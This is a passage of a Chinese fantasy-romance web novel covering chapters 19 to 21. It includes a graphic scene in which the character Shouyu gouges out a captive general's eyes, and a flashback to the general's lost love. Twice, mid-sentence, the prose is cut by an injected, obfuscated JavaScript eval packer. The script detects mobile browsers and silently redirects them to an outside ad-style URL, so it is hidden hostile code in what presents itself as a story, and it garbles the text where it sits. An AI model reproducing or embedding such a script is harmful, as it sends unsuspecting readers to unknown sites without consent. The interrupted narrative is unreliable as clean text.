林昭气得七窍生烟。守玉在他身前站住,居高临下地看他:“林将军真是硬骨头,还是不肯说?” 林昭并不看他,只将目光牢牢锁在他身后二人上。守玉回首,见观南搀着谢婌将她扶出洞口,敖润也忙跟着出去了。 玉荷摇摇晃晃地起身,警惕地看着他。 守玉瞥他一眼:“还不快走?再不走,你的这条命便送我得了。” 玉荷似是还想说些什么,却被那乐师扯住胳膊连拉带拽了出去。洞中一时寂静,只剩两人。 他回眸,伸手将林昭下颚硬生生掰回来,道:“林将军还记得我方才说的话么?” 什么话?林昭冷笑:“你从我口中挖不出丹炉在哪的。” “不是。” 守玉平静道:“是我说,我最不喜欢你这一双眼睛——不若现在便毁了罢。” 他恨这样的眼睛。总是不爱把人当人看,总是高高在上睥睨旁人。 他俯身,从包中抽出一把银月弯刀:“倘若将军管不住这双眼睛,还不如将它给我。不是么?” 铮亮的银刀照着他的脸,一半明白如玉,一半被阴影笼住。长睫垂下,掩住那点猩红的痣。 刀尖抵上他眼皮,林昭同他对视,看见此人瞳中是毫无波澜的漆黑一片,方才后知后觉,浑身颤抖起来。 不是来救人的么?不是要为天下苍生杀了他这个罪人么? 正道之人,怎会使如此血腥的手段? 刀下之人抖如筛糠。守玉轻叹:“现在怕了顶什么用?放心罢,我有分寸,不会教你疼死过去。” 这人全然是个疯子! 林昭几乎要尖叫出来,却发觉他不知何时被点了哑穴。 身前之人冷漠持着刀,手中冰凉的锐利掀开他眼皮,探至血肉深处去,从根部缓缓割断相连血丝,再轻轻一撬。 一颗毕了还有一颗,啪叽一声。 两颗浑圆的珠子滚落在他手心。 林昭已然昏死过去。守玉起身,借洞口妖色烛火面无表情地瞧了半晌。 粘腻的血混着泪水从他掌缝滴落,融进太极阵中。 血泪,血泪。人这一辈子最无用的,不就这两样么?总是痛了才晓得后悔,死到临头才掉眼泪。 他松手,两颗珠子咕噜噜滚进丛中。 忽得有人叫他名字。他认出她的声音,下意识将手藏至身后去。 观南逆着光立在洞口,目光自淌了一地的血水上划过。他一人孤零零站在血泊中,雪青衣袍也染了红。几束光打在此人身上,他望着她不说话。 瞧着怪可怜的。 便问他:“你受伤了?” 她从洞口下来,凑近打量他:“怎么浑身一股血味,林昭做的么?是伤到哪了?” 她抽了抽鼻子:没了那股梨花甜味,她觉着并不舒服。 伤到哪了?他压根没受伤。守玉一时讷讷,见她往他身前凑近,心下慌张一瞬,便将弯刀自手中一划,鲜红的血即刻滴下来。 她显然也瞧见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107294|163938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,将他掌心托起来端详,面上一愣:“怎地伤这样深?” “方才不留神,被林昭划了一道。”他试图从她手心中挣出去,“无碍,算不得什么事。” 她道:“也不是小伤。” 那条红绳还系在他腕子上,此刻浸了血进去。观南心中略有些奇异的感觉,扫过一眼,便俯身去他包中寻:“你拿绢布没有?还是包扎住为好。” 她握着他的手,他想挣脱却又舍不得。两种想法彼此撕扯着,终究是贪欲占了上风,便乖巧等她。 胸口诡异地突突几跳,酸涩甜腻。守玉觉着自己真是愈发古怪了,垂首看她:“我只有娘子的帕子。” 观南已经揪了布出来,闻言一看,才发觉正是她给他的那条。“那就用这个。”便一手垫着他,一手拎着帕子,在他手背上打了个结。 ……不对,又打成死的了。 她一时窘迫起来,指尖僵在他手心上:“呃……不若我还是替你换一个……” “多谢娘子了,便如此吧。”他伸手按住她,指尖一触即分。“敖润呢?” “自告奋勇去寻丹炉了。建康城这样大,我不放心他,便让他护送谢婌回府了。” 敖润已将事态尽数告知与她。观南这才瞧见地上躺着的人,探头打量几眼:“林昭怎地晕了?” 守玉面无异色:“吓晕了。” 原是如此,那林昭胆子也忒小了。前生征战沙场的将军,如今卸甲返乡,却已肩不能抗手不能提……说来也是悲催的。 她颔首,将剩余的系好,退后看他:“林昭所剩时日无多,恐怕也就半月了。若是这几天从他口中问不出丹炉下落,赤焰花便焚尽了。” 见他一瞬不错地瞧着她,观南一顿,才接着道:“实则我有猜想,林昭被人掳走,又将赤焰花送出去焚毁,俱是一半天时日内的事。此人必定尚在京中——且这地方寻常人进不去。” 赤焰花乃是神物,寻常丹炉炼不得。就是炼,也必将浓烟滚滚。因着丹炉必定选在僻静无人烟之处,且与寻常香炉混在一处掩人耳目。 她同他对视。 “——皇宫。” …… 电闪雷鸣。司马昀自梦中惊醒。 他许久不做噩梦了,冷汗不知何时已爬满全身。梦中谢婌身披皇后婚服,头上金银璀璨,受百官庆贺。待入了洞房,烛火摇曳映照美人灯影,他满心欢喜地去揭,喜帕下的却是条骷髅。 司马昀愕然怔在原地,看四周火红喜庆的一切自身边逝去。 接着是太后,国师,种种人影浮现上来。太后依旧如年少时美丽,冷冷瞧着他,说他是外来种腌渍货。再是国师,在他耳边一字一句,教他念那个许久未曾听闻的名字。 这梦渐渐充斥了猩红,狂风讥笑着自他身边卷过。他喘不过气来,头痛欲裂,谢婌却始终不愿自他梦中露面。 一道雷劈下来,他才浑身一抖,渐渐睁眼。 身旁吉祥正打着盹,被雷吓得一哆嗦,见天子身形单薄地坐在榻上,忙起身过来:“陛下,陛下?是做噩梦了么?” 司马昀回神看他,茫然道:“吉祥?” “是,是,奴才在呢。”吉祥见他神魂虚浮的模样,忙将药碗递过来:“国师遣人送来的,陛下喝了药罢,喝了便不做噩梦了。” “这些日子夜里总是打雷,做梦也是难免的。” 是啊,打雷。他往日最怕打雷了,因着婌儿总是笑嘻嘻钻进他被子里。无论诸般罪孽加诸他身,婌儿总是不会忘了他的。 可她如今还要他么? 司马昀抚上药碗,静静坐着。待吉祥起身去将窗户封死,才喃喃道:“我就不能不喝这药么?” “哪能不喝呢?”吉祥吓了一跳,又多取了几颗糖出来,“国师嘱咐陛下需一日一碗,安神固气,可不敢疏漏啊。” 好罢。他一口一口抿了药下去。待吉祥将糖递过来,才出声道:“派个人去……看看婌儿今日怎么样。” 吉祥领命。一刻钟后,屋中香燃尽了,司马昀手中正捏着绣花针绣喜帕,便见人进来跪在他塌下。 这人禀告:“谢姑娘被一位男子送回了府中,这男子再未出来过。” 静静一声,绣花针跌在地上。 19. 离人曲 宫中布了阵法,强闯必然不行,兴许还要引发动乱。观南便向太后递了意愿,道愿为她颂法华真经。 半日后太后旨意便到了眼前,允她后日携人入宫。 彼时观南正坐于谢婌房中。谢洵自前几日幼女再次被掳,已不愿将她放出门去。谢婌自是不乐意的,偏偏不得违背父亲,只得整日寻了新奇玩意来耍。 观南一大早起来,便被她拽着袖子到了房中。 她头还没理,谢婌便将她按在镜前,起势要为她梳发。观南回身,见她兴致勃勃取了各式丝绦与簪子,一幅欲大展身手的模样。 她一阵头皮发麻,正欲止住她,便听谢婌同她道:“仙师头发长,我为你扎垂鬟分肖髻罢?” 她手一顿,垂鬟分肖髻? 守玉当日似乎便为她扎的这个,想来大抵是因着好梳罢。 谢婌不知她正想着什么,笑道:“仙师以后若是有了夫婿,便可与他行梳发描眉之乐了……不过仙师是出家人,想来也不会有这一天,今日便由我来罢。” 待发都绾好了,谢婌见她面上寡净,便取了几根素簪插于发间。待少女妆成,谢婌望向镜中,恍惚退了几步。 观南起身看她:“多谢了,不过我梳妆无用,往日打扮便可。” 谢婌摇头:“不,我只是想起莲香,那时我也为她束过发的——不说这些了。既已梳好,仙师看在我的份上,便莫要摘了。” 观南都已伸了手要摘,听得她这样说,只得默默放下手来。 谢婌来至她身前,握住她手:“实则我今日来,是想告知仙师些事。我昨日见了敖公子,夜间忽得做了场梦。” “梦里亦是他在林昭身前,可他那时说的是——他是来救我的。” 敖润?观南倏然抬眼。 “我晓得敖公子是来寻林昭的,与我并不搭边……”她抿唇,声音也低下来,“只是这梦太真了,我恍惚醒来,竟有些不知何为真何为假了。” 见观南一言不发看着她,谢婌绞着指尖,讷讷同她道:“不瞒仙师,实则自我记事以来,便总似乎有人推着我往某一路上走。” “譬如那时离家,前些日子我还总犹疑,到了那日清晨我却忽得便下定决心要走了。仿佛命中注定,我要离家去临漳县一般。” 彼时她出了家门,立在人来人往的兰台路上,心中片刻茫然。这家是一定要走么?这船是一定要上么? 若是假死脱身……也未必要离家啊。 忆起往日,谢婌缓缓垂眼:“还有我幼时,司马——陛下也说过,说我命中注定要做他的娘子。” “他言及天命,我那时是不信此等鬼神之说的。只是我昨日梦中惊醒,又忆起这些,却觉得害怕了……难不成这世上真有天命一说么?” 她的命,便是早已定好的,攥在天道手中么? 观南听她说完,上前牵住她手。谢婌猝然抬头,眼中已有泪珠打旋。 她听见观南平静道:“我晓得你忧心甚么了。” “谢婌,这世上倘若真有天命,那也是该由自己写的。神佛尚不敢断言人之生死,天地间亦从没有命中注定一事。” 她将她牵至榻上座下,将帕子递予她。“你大可如此想:天命乃至神佛,俱是假的物什。既摸不着看不见,又何须再信。” “只要心中长存善念,行于世间,立身而影正,此生便无需怕甚么。” 谢婌接了帕子拭泪,破涕为笑:“可仙师是真的呀,如今就在我眼前。” “我是真是假又何妨?” 观南摇头:“我便是神仙,也不可执掌你的命数。” 她见谢婌红着眼睛抽鼻,一时喟叹:“且神仙亦是会死的。若是真有人欲禁锢你之命数,那便不是神仙,是恶邪。有人要你的命,你便夺回来。这不是甚么难事。” “一切有为法,如梦幻泡影,如露亦如电,应作如是观……师尊常嘱咐我,六根常静,心如琉璃,尘世便是过眼云烟。” 见谢婌扭头不看她,恰逢外头来人,想必是来递交太后旨意,观南摇头,出了屋门。 待她领了旨回来,谢婌已然又是一幅笑嘻嘻的模样了。 她不知从何处拿来盒小巧红膏,神秘兮兮地放在观南眼前:“好姐姐,你猜猜此是何物?” 观南打量过她几眼,确信她已毫无泪意,才放下心来。也不欲再深究,正要掏剑出来擦,闻言瞥一眼那盒子:“胭脂?” 谢婌摇头:“若是胭脂,我岂不是大惊小怪了?”见观南不甚在意的模样,忙凑近她道:“这是凤仙花泥,染蔻丹用的!你要试么?” 蔻丹是何物? 观南摇头:“你自己玩罢。” 谢婌哎一声,正要失落地瞧她,便见她抽了帕子沾上皂角水拭剑。兀自打量一会,忽道:“这不是守玉道长的帕子么?” 她记得清楚,道长帕子上绣了银莲纹样,瞧着清新脱俗得很。如今怎地在观南这里? 观南嗯一声:“我的给了他,他便将帕子予我了。” 斩仙剑照理说是不需擦拭的,沾血越多越新,所谓斩仙便是说如此。不过她随身带剑带久了,总觉着剑沾血不是件妙事,因着常要擦拭。 她俯身,沿着剑沿纹路细细抚过一圈,将神魂融进去,指尖下剑身便温顺拥住她。 待抬头,却看见谢婌古怪表情:“怎么?” 谢婌一时讷讷,说不出口。 互赠帕子不是有情男女间才如此么?难不成…… 她暗暗觑一眼观南面色,见她莫名模样,只得换了话头:“没什么,我只是想染蔻丹了……说起来,这蔻丹还是敖公子赠我的,需得好好谢谢他。” 原来又是敖润。 观南见她已经挖了花泥覆在指上,一时觉着新奇,便凑过去看:“原来是染指甲的么?他为你带这个做什么?” 谢婌嘻嘻笑了:“敖公子说街上看见了觉着新奇,想着给心上人买一罐。又买多了,便送了我一份——是了,还有仙师你的份也在我这。” 观南心中无言。敖润年纪轻轻,倒是贯会讨人欢心。只是给她做什么? 谢婌将另一罐递予她,她只得接过来。开盖一看,红澄澄一大盒,满溢凤仙花香气。 细细一闻,似乎并无旁的气味。她忽得想:既是凤仙花做的,不知能不能吃? 各种花她都尝过,凤仙花亦在其中。大抵没什么味道,想必蔻丹应当所去不远。 那头谢婌已去了花泥,对着日头只等晒干。观南悄然抠了半指甲盖出来,好奇地打量片刻,正要张嘴吃下去,眼前忽得有人笑了:“这能吃么?” 她险些将盒子扔在来人脸上。 这人什么时候来的?她抬眼,便见守玉抱着胳膊笑盈盈看着她。他长身玉立在窗前,桂花簌簌落了满肩,影子将她全然笼住。 观南僵硬道:“我没吃。” “是没吃。”他挑眉:“这不是我来了么。” ……真不会说话。她默然将盒子放下,正要出去,便见他抬手拿过去打量:“这是蔻丹?你要染指甲么?” 她颔首:“敖润送的。” “有钱花没处使。”守玉显然对便宜师侄的败家行径嗤之以鼻,忽得望见她手,又改了想法:“娘子要染么?我帮你啊。” “你?”观南茫然道:“这你也学过么?” “有什么可学的呢?”他将她手托起来细细看了片刻,皮肤冷白细腻,指甲光滑饱满,却又有些茧子生在指间。 那头谢婌探头看过来。 他又旁若无事地放下:“又不是难事。” 她仍是拒绝:“不了,我不乐意染这个。你来寻我是有什么事?” 守玉也不强求,将染料搁下:“林昭醒了。我从他口中问不出旁的,因着——动了些法子。” 观南只关心结果:“问出什么了?” 他看她一眼,忽得笑了:“自是有趣的事。” …… 簌簌雨停。 阳春六月,鲜卑再犯。 过了几个年头,林昭已经同他的阿梨再相熟不过了。他晓得她大名叫司马音,母亲已去世了,于是更明目张胆地袒护她。 阿梨这一年及笄了。长得愈发出众,往常瞧不上她的人也忍不住看过来。全建康人都晓得这是林小侯爷的心上人,也不敢来提亲。 王皇后是她姑母,林家乃是百年望族,有谁敢同他抢呢? 林昭信誓旦旦地同她做保:阿梨,你只需在屋中绣好嫁衣等我。 阿梨脸都羞红了。一旁的侍女忍不住笑起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107295|163938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她忙扯着帕子去打她们:“好啊,你们同他一伙的是不是?怎么就笃定我要嫁他呢!” 可是到底要不要嫁呢?林昭笑吟吟看她,阿梨回身瞪他一眼,却也忍不住抿唇笑了。 自是要嫁的。他是少女的意中人,这一颗春心都许给他了,哪还容得下旁人呢? 于是她为他弹瑟。阿梨的瑟学得最好,她拨了弦唱起《山鬼》,明明是悲曲,却唱得轻快喜悦。 林昭笑着问她:“阿梨,你心里也很欢喜我的是不是?” 否则怎么这样悲的一首曲子,却唱得这么甜呢。 阿梨丢了瑟便扑上来打他。待她没了力气,两个人都气喘吁吁的,林昭将她搂进怀里。 阿梨这会才愿意将她最大的秘密告诉他:“我弹山鬼,是因着我母亲往日最爱弹这个。” 母亲是个不甚受宠的妃子,往日便坐于檐下弹瑟,谈着谈着就落了泪。只是母亲的曲调太悲,她昔日听不懂,后来才晓得,这曲子写得是满腔痛愁,心爱之人弃她而去。 母亲年幼时是异国的巫女,入了中原,见着了彼时的太子,如今的陛下。 一见倾心。 后来母亲死了。她死前死死盯着宫檐上四角天幕,握着她这个女儿的手说了许多话,大抵是不要再如她一般重蹈覆辙。那时母亲流了许多泪,仿佛要将一生的苦恨都流尽。 母亲仿佛一张枯涸的海,一点点泄干了水。 直至她的泪流尽了,她也就死了。 满宫挂白绫。她没见着皇帝,只见着了皇后。她居高临下扫了她一眼,便再懒得给她眼神。 后来她便被送出了宫,入了太学。 再后来,她再弹《山鬼》,为的却是两情相悦的心上人。她满怀恋慕,奏的曲子也似春日争发,只诉相思寸寸灰。 她心中同母亲说:阿母,我必不会再重蹈你的覆辙。 这些她都没告诉林昭。只是抱紧他,将头埋进他颈侧,闷声道:“你要好好对我。” 林昭不晓得她心中所想,只欢欣雀跃于她交付了一颗真心。这一日被他牢牢记在心里,因着《山鬼》也成了定情曲,再无悲苦之味。 他想,再过半年,他便同她提亲。 可世事无常,磨难总要比欢乐常降临于世间。九月重阳,鲜卑一路南下,打到了建康。 朝中再无能人。林昭披了甲胄,太极殿下叩首领命,军指西北。 这一年他十九,她十六。 临走时他舍不得她,夜半时分翻了院墙进来,发觉她正埋首痛哭。他浑身都是酒味,颤抖着抱住她,说:“阿梨,我们数星星。” 数到第五十颗,他提甲北上,自此远离建康。 数到第一万颗,他就回来娶她。 阿梨握住他的手为他送行。他以为她又要哭,要说些平安的话,却不想她一字一句,坚定同他道:“林昭,你此去西北,不胜不还。” “你莫要总想着我。你要想想你身后的将士,建康的百姓。你提甲上阵,便是为国为民,死也情愿的。” “——那时,等收殓了你的尸骨,我再随你而去!” 她没哭。往日最爱哭的阿梨一滴眼泪都没掉,林昭却掉了眼泪。 那时他想:我死在北疆也甘愿的。 但我还要回来,娶我的阿梨。 于是他走了,便再未回头。 记忆戛然而止。 彼时林昭被他放开,空洞的眼眶竟静静落了泪下来。他两颗眼珠子均不见了,这模样瞧着是相当瘆人的。待哭了半晌,他才慢慢回神,觉察出有人正立在他身前。 守玉居高临下看着他,半张脸掩在影中。 “她要你为她的民,要你护她的国。林昭,你爱她,敬重她,不惜为了她拼命,又从北疆杀回来,自以为深情大义。” “你临危受命,疆场厮杀,自然算得上一派拳拳报国之心。若是如此,你与她成婚便是全天下皆庆贺的美事。” 他语气骤然一转,轻飘飘将巨石砸在他心间: “——可你如今,却将她的民,她的国往死路上逼。若是她有灵在天,会怎么看你?” 林昭煞时白了脸色,一寸血丝也不剩。 守玉自他难得涌出些恐惧的脸上挪开眼,嗤笑一声:“蠢货。” 20. 恨海天 林昭喉咙干涩,欲启唇替自己辩驳一句,却到底无话可说。 彼时他在北疆十二年,捱过了千山风雪血饮弯刀,银光彻照的荒漠上刮起狂沙,几乎迷得眼睛都要睁不开。 阿梨给他写信,一封信经整整四个月才到他手中。她信中言及建康梨花又开了,他便以手掌暖开笔尖凝着的冰,呼着气为她回信。 阿梨,多谢你挂怀。 漠中日夜似夏冬,一日之内已是天差地别,军中多有发热之状,幸我尚无大碍。前日我携人奔袭百里,诛灭一处鲜卑族人,是为一等功勋,身有轻伤而不妨事,无需挂忧。 阿梨,惟盼你岁岁皆安,顺颂时绥。 春寒料峭,善自珍重。 我一切都好。 最终在末处工工整整写了她的大名,妥帖叠起来教人送走了。 实则,军中的日子其实并不大好过,比他往日的更是差上太多。此后深入西北,乃是百里无人烟的蛮荒之地,他便再未收到她的信。 军中大多是二十来岁的青壮年,有的家中还有未婚妻子等着。夜深时围着火扯起家常来,总是怕死在北疆,一家子人又该如何是好。 林昭听了这话便笑。他心想:我同你们不一样的。倘若我死了,阿梨也不须为我守孝。 她好好寻了余生所寄,他在地下才安心。 说至兴头上,手下士兵抱了酒来。营中十几人皆咕嘟咕嘟乐呵呵地干了,满面通红抱在一处哭。轮到他,便只将酒淋了剑身。 宝剑杀生,当饮美酒。 自此关山五十里,去逐敌寇,天教疏狂付王侯。 杀得最畅快的那一日,他领兵进了鲜卑殿中。国破之际,竟是将军卸甲,美人提兵。一颗颗艳丽女子的头自他剑锋上滑下来,咚地一声砸进水里,渐渐浮了满池血红。 伏尸横陈,血流漂花。恰如昔日孙武斩吴女,白起坑赵军。 提剑上了琉璃宝阶,便是层层鲛纱交织的王宫。殿中坐了鲜卑族的王上,身边密密麻麻跪了一地臣子。 林昭身后士兵正要冲上来,被他伸手拦住。 有人将长剑递上座去,震声道:“烦请大王殡天!” 跪坐其中之人终于睁眼瞧过来,越过层层人群同他目光交错。这一眼或多或少有些难言之凄苦,抑或讽然解脱,林昭不由得蹙了眉。 接着此人便接了剑,引颈就戮。一道血花空中炸开,飞旋如同舞女瑶裾。 于是王上骤然瘫倒在地。剩余十二人跪地,将一纸降状恭恭敬敬地递过来,他接了,才发觉自己全身上下没有一处不沾着血。 是夜,全军大庆。将军有令,班师回朝。 一别六年,物是人非。如今他身骑汗血宝马再踏兰台路,入太极殿卸甲交兵。待他将人头高高呈上,道自己愿以毕生军功请一道旨时,四周悄然静下来。 御座上天子十二旒摇颤,眯眼望过来:“爱卿,你意欲如何啊?” 林昭沉声道:“臣与德安公主情投意合,愿弃荣华,做驸马。” 太极殿中寂然无声。诸般目光自他身影上扫过,半晌后才接头窃窃私语起来。林昭心中莫名一窒,手心渗了冷汗,将身俯得更低。 天子惨白的脸瞧着他,竟笑了:“爱卿来迟了。怎地不早些说呢?” “德安已嫁去鲜卑了——她生母是鲜卑圣女,如今也算魂归故里。” 林昭霎时间杳无血色。手中木盒铿然坠地,人头咕噜噜滚出来。 他后来才晓得那一日情景。 鲜卑族中各派分立,王上已久不得人心。自他引兵驻扎西北,各派长老间更是离心离德。多数人不愿再动干戈,修好之愿信比他的兵更快递进天子手中。 两邦修睦,愿求公主下嫁。 东土天子只倨傲地按下不表。然顺理成章地,倘若一个女子便能换得两邦安平,何乐而不为呢? 这消息不知怎地就传了出去,公主府前日日跪了平头百姓,赶也赶不走,泪还要堵不住地流。第三日清晨,德安公主入宫,自请出嫁。 太极殿上,谢允舌战群儒,上书极言远嫁公主是为粉饰太平,治标不治本。却无人同他一道,气极之下告老还乡。 而德安公主车马行了半载,听闻不出一年便香消玉殒了,尸骨已入棺窆封。 此般诸事,还是他从母亲口中听闻的。 林昭起先怒不可遏。若不是母亲拦着,几乎要冲上殿歇斯底里地质问病恹恹的天子。 她此生从未享过你司马家半点荣华富贵!凭甚么到了此刻,竟又要她肩起皇族的担子? 这国,这民。俱是鼠目寸光,愚不可及!只晓得嫁了公主便得两国安宁,却不想想公主死后又当如何。 思及往日,林昭心痛得仿佛挖了一块。他又止不住想:她怎地就不能跑呢?怎地就不能等等他呢。若是她以死相逼,抑或派旁人替她去呢? 却也晓得此乃天方夜谭。两国战事间夹着万千人之性命,俱落在阿梨那一道瘦削肩上。她不敢违抗,也并未那违抗的本事。 她心太软。 ——可他心狠。 他恨她总忘了自己,恨她弃他而去。却更恨皇族冷血无情,举国之民逼她出嫁。 那他也并非不敢向全天下人寻仇。 便是此时国师找上门来。林昭并不大乐意见他,却看见此人手中那一枚漆黑虫卵时闭了嘴。 国师笑盈盈道:此乃西域牵丝蛊。入体不出三日,要么丧命,要么成你手中傀儡。 林昭,要与不要,全看你自己。 他接了蛊。 这虫子遇了血顷刻间便醒过来,从他伤处扎进去。精血养蛊,阳气大损,从此他成了人不人鬼不鬼的妖怪。 如今他手下亡魂成千上万,早已不胜其数。祸国殃民的派头做尽了,林昭却总不肯认下这一桩罪。 实则他心中并不多么愿意司马一族千秋万代,也不甚去想世上如蝼蚁一般自他摆下爬过的民众。 死了便死了,谁在意呢? 凭栏听曲,鞭马游街。从前他只要自个过得顺遂便好,眼下心中也只不过多了一个阿梨。 可是阿梨,阿梨。 倘若你见了如今的我,恐怕亦是只会啐上一口罢。 林昭已流不出泪,面上血迹斑驳,竟痴痴对守玉笑了:“人死不能复生,她要怪我,便等我入了黄泉再怪罢。” 守玉嗤笑一声。“你倒是惯会做美梦,还当自己欲生便生,欲死则死么?” “我晓得你觉着自己毒侵全身朝不保夕了。林昭,实则我若是想要你的命,阎王也从不敢同我作对。” 方才他去看林昭脑中记忆,却见其中一段空空荡荡,人脸模糊不清,显然是谁刻意为之。 此人必定也深谙道术。 有意思得很。 他踞腿下来,似笑非笑瞧着他:“我有的是法子吊你一条命,教你求生不得求死不能。林昭,你炼了那样多傀儡,也该自个尝尝这滋味了。” “若是你是个聪明的,也该告诉我是谁给你了蛊又教你这样做,兴许还能少吃些苦。” 林昭平静道:“我无从奉告。” 死到临头倒是显出些将军风骨。 守玉见他阖了眼皮死活不开口,一时间也不恼,饶有兴致地看了半晌,忽道:“你晓得德安公主实则没死么?” 林昭倏然睁眼,露出空洞洞两个血坑:“不可能。” 面前年轻人笑而不语,手中折扇轻轻打了个旋,提得他一颗心也不上不下起来。 几束光透进来,守玉觑见外头桂花开得正好。 林昭兀自慌乱起来。阿梨没死? 必定是诓他的。西北那是什么地方,是今日才没了魂,明日尸骨便被狼叼去的地方。 可——当真么?如今细细想来事情疑点颇多,自古公主下嫁离世,合该有人将她尸骨殓好送回的。倘若是她没死呢? 倘若是有人编了个慌只为骗他呢? 林昭抿唇:“我凭甚么信你?” 守玉正伸手扭一枝桂花下来,见他顷刻间便动摇,轻快笑起来:“你不信我,还有旁的人可信?” …… 他伸手,将那枝桂花别在她耳畔。 观南恍然:“竟是如此。”他往她耳边别了个什么?正要扭头去 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她哪是不喜欢这颜色,她就是不愿染这个。本来还想尝尝味道,却来了个不速之客……观南摇头:“我当真不爱染。” 谢婌嘴中嘀咕几句,仍不死心地将她打量一会,忽得展颜笑了:“仙师耳畔这一束桂花开的好啊,瞧着衬你。” 观南胡乱嗯啊几声,忍不住去瞪身旁的人。他原本淡笑看着,被她一瞪反而笑得更欢了:“我说的折花赠美人,可不是空话。” 她被两个人这样瞧着,总觉着浑身都要起鸡皮疙瘩。胸前白玉菩萨像隐隐蕴光,她忽得反应过来:哪里是鸡皮疙瘩,是她快要褪皮了。 观南浑身一颤,不露声色将手抽回,淡声道:“早些休息罢,我还有事,先行一步了。” 得多买些压火的药来,最好再冻些冰块搁在屋中,不然今夜实在难熬。 她匆匆告辞出了门,独留两个人望着她背影。 谢婌率先回过神来:“仙师跑那么急做甚?跟有个人在后头追她似的。” 守玉无言,半晌眯起眼。 …… 夜深露重。 观南早早上了床,床头烛火未熄,此刻噼啪几声。 有火自内向外灼开,她整个人仿佛置身火炉中。白玉佛已压不住体内滚烫,她慢慢蹙起眉,榻上翻了几个来回,口中溢出几声难耐的嘤咛。 小白被她吵醒,忙去舔她脸庞,被灼灼高温一惊。青蛇于是猛地蹿下床去,身影隐蔽在暗中了。 观南恍惚觉察到蛇芯冰凉从她鼻尖掠过,脑中浑浑噩噩地睁眼,嗓音沙哑道:“小白?” 无人应答。她撑着榻起来,长发垂至腿弯处,迷迷糊糊地下了床。 热。 得寻个冰凉的物什。 她脑中混沌一片,险些栽在地上,又扶住桌面起身。屋中有她备好的冰,便拿起一块贴在脸上,冰凉熨帖,一时畅快喟叹出声。 那冰飞快熔成了水从她指间流下。她连着拿了几块,如法炮制。体内热气仍无止住的迹象,再伸手去摸,冰已用完了。 屋外头传来些窸窸窣窣的响声。她已分辨不清来者何人,整个人跌在地上。 忽得一股冷气直直扑面而来,于她而言几乎如同漠中净水,救命稻草。 她下意识探手触过去。 有人在她身前止住:“……娘子?” 观南猛地起身压了过去。 一大块冰被她紧紧抱住,她将脸贴在这冰上,一时间舒服地几乎要落泪。 她抱着这冰哼哼唧唧地动起来,两腿不安分地从粗糙衣料上蹭过,全身泛起湿红潮色,长睫蝶羽一般狂颤。 守玉被她整个人紧紧搂着,一时间浑身僵住。正要低头去瞧她面色,却见她昂起纤长脖子缓缓吐气,颈窝处白玉坠摇摇晃晃,一点嫣红乍现。 他手悬在半空,竟走了神:原来她此处还有一颗痣。 下一瞬,她唇瓣从他鼻尖划过去。潋滟双唇一吐一吸翕张着,在他眼前吐了猩红的舌尖。 他脑中轰得炸开。 目眩神迷。 21. 观音痣 他深呼一口气,一只手按住她腕子:“莫动了,我替你量脉。” 他贴住她血肉,才发觉她浑身滚烫得不似平常。难不成是吃错了甚么催热的药?正要细细感其脉搏,她便不适地蹙起眉来,嘴中哼唧两声。 他手背蹭蹭她的脸,真是滚烫如火。便道:“张嘴。” 难不成是夜里着凉发热了? 观南神色莫名地盯了他半晌,忽得张口冲他指尖咬了下去。 两颗尖牙从他肤上划过,守玉下意识嘶一声想抽出来,却被她死死钉在嘴中。 某处柔软从他指腹下缓缓卷过。她毫无所觉,他耳尖发烫,浑身都颤起来,总觉着自己也跟着她着了魔。 尖牙划破了薄薄肌肤,下一刻她面上显出些茫然,缓缓松口将他指尖吐出来。 指节上已有了深深血痕,猩红的丝同涎液一同淌在地上。守玉只得抽帕子出来擦:“……牙怎么这样尖?” 口中血腥气蔓延开,她愣愣眨了眨眼。 ……好罢。守玉叹气,另一只手将她下巴扭过来,好整以暇地看她:“你还记得我是谁么?” 她整个人覆在他身上,被他捏着下巴便皱眉不知叽里咕噜念了些什么,显然未曾将他的话听进去。 他撑身坐起来,不依不饶道:“我问你话呢,若是旁人来你也这样对他么?你这是非礼,是污我清白,要被抓去成亲的,你晓不晓得?” 身旁小白爬过来,好奇似得打量跌坐一处的二人。月色投了纱进来照得庭中一派朦胧,风过影动,本是良辰好景。 观南依旧睁着大眼睛瞪他。 她脑中混汤一样,见他似是说了些骂她的话,一时间怒从心头起,张着嘴又要咬他脖颈。 守玉扭头躲了,只得伸手将她按在身下,一只手背后去解了发带下来。满头青丝旋即落在她脸上,蹭得身下人面痒难耐,张唇吐出些不成句的破碎字眼。 若是往日,她大可将人直接打晕过去。不过此刻她将要褪皮了,也使不出什么劲来,便换了个舒坦姿态卸了力瘫在地上,莫名叹了口气。 他见她不动了,只微微翕张红唇盯住他,便扭头不敢再看:“……早这样不就成了?我去替你打水来。” 白绸发带在他指间晃晃悠悠,她一瞬不错地盯着,见他起身要走,便伸手拽住。 守玉回眼看她。 她丝毫没有夺人物什的愧意,面无表情地又从他手中拽出一点。 ……好罢。真是怕了她了。 那段白绸从他手中跌下。她收手接住,快意地翻了个身。 守玉起身去打水,才惊觉自己出了满身汗。兀自悚然地在庭中水井前呆了一会,借着月色得以看清自己的脸。 脸红得厉害。 怎地就如此了呢?大半夜还要干此等差事,难不成她天生就是被派来治他的?他摇摇头,又觉着自己幼稚。便打了水回身入了房中。 月影婆娑,地上唯有一摊衣物。 他没寻着人,正要唤她:“观南?娘子?” 